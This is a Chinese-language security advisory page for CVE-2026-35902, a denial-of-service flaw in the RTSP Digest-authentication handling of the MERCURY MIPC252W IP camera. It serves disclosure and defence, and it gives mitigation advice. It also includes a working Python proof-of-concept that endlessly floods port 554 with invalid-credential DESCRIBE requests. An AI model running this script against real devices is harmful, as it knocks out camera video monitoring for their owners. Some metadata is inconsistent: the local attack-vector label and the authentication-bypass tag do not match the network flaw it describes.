IPBUF安全漏洞报告
English
CVE-2026-35902 CVSS 6.2 中危

CVE-2026-35902 MERCURY IPCamera RTSP拒绝服务漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2026-35902
漏洞类型
拒绝服务
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MERCURY IP camera MIPC252W

相关标签

拒绝服务RTSP物联网安全MERCURYIP Camera认证绕过

漏洞概述

MERCURY IP camera MIPC252W固件版本1.0.5 Build 230306中的RTSP服务存在安全漏洞。该漏洞源于服务在处理失败的Digest认证尝试时存在逻辑缺陷。未经身份验证的攻击者可以通过重复发送带有无效认证参数的RTSP请求来利用此漏洞。成功利用后,会导致RTSP服务进入持续的认证失败状态,从而阻止合法客户端进行身份验证,最终导致服务拒绝。该漏洞严重影响了设备的视频流监控功能。

技术细节

该漏洞位于MERCURY IP摄像头的RTSP协议处理模块中,具体涉及Digest认证机制的异常处理流程。当RTSP服务接收到包含错误认证凭据的请求时,其错误处理逻辑未能正确重置会话状态或限制错误尝试的频率。攻击者可以通过网络向目标设备的RTSP端口(默认554)持续发送构造的恶意数据包,这些数据包包含无效的用户名或错误的哈希响应。由于服务端缺乏对这种异常认证风暴的有效防御,内部状态机可能被锁定或资源耗尽,导致认证服务挂起。此时,即使用户使用正确的凭据,也无法完成连接,造成可用性受损。

攻击链分析

STEP 1
侦察
攻击者扫描网络,发现目标MERCURY IP摄像头及其开放的RTSP服务端口(默认554)。
STEP 2
漏洞利用
攻击者编写脚本,向目标RTSP服务端口大量发送包含无效Digest认证参数的请求。
STEP 3
拒绝服务
由于服务无法正确处理持续的认证失败,RTSP服务进入异常状态,拒绝所有合法的连接请求。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # Target configuration TARGET_IP = "192.168.1.100" TARGET_PORT = 554 def send_malicious_rtsp(): # Construct RTSP DESCRIBE request with invalid Digest Auth # This simulates an attacker sending bad credentials repeatedly payload = "DESCRIBE rtsp://{} RTSP/1.0\r\n".format(TARGET_IP) payload += "CSeq: 2\r\n" payload += "Authorization: Digest username=\"admin\", realm=\"IP Camera\", nonce=\"\", uri=\"\", response=\"invalid_hash_value\"\r\n" payload += "User-Agent: PoC-Client\r\n" payload += "\r\n" print("[+] Sending malicious RTSP packets to {}:{}...".format(TARGET_IP, TARGET_PORT)) try: while True: # Create socket to send packets s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(3) s.connect((TARGET_IP, TARGET_PORT)) s.send(payload.encode('utf-8')) # Close connection immediately to simulate rapid attempts s.close() print("[+] Packet sent. RTSP service should be unresponsive soon.") except KeyboardInterrupt: print("[-] Exploit stopped by user.") except Exception as e: print("[-] Error: {}".format(e)) if __name__ == "__main__": send_malicious_rtsp()

影响范围

MERCURY IP camera MIPC252W 1.0.5 Build 230306

防御指南

临时缓解措施
如果无法立即升级固件,建议通过访问控制列表(ACL)严格限制RTSP端口(554)的访问来源,仅允许内部受信任的管理终端IP连接。同时,管理员应监控网络流量中是否存在针对RTSP服务的高频异常连接请求,并在检测到攻击模式时自动封禁源IP地址,以缓解拒绝服务风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表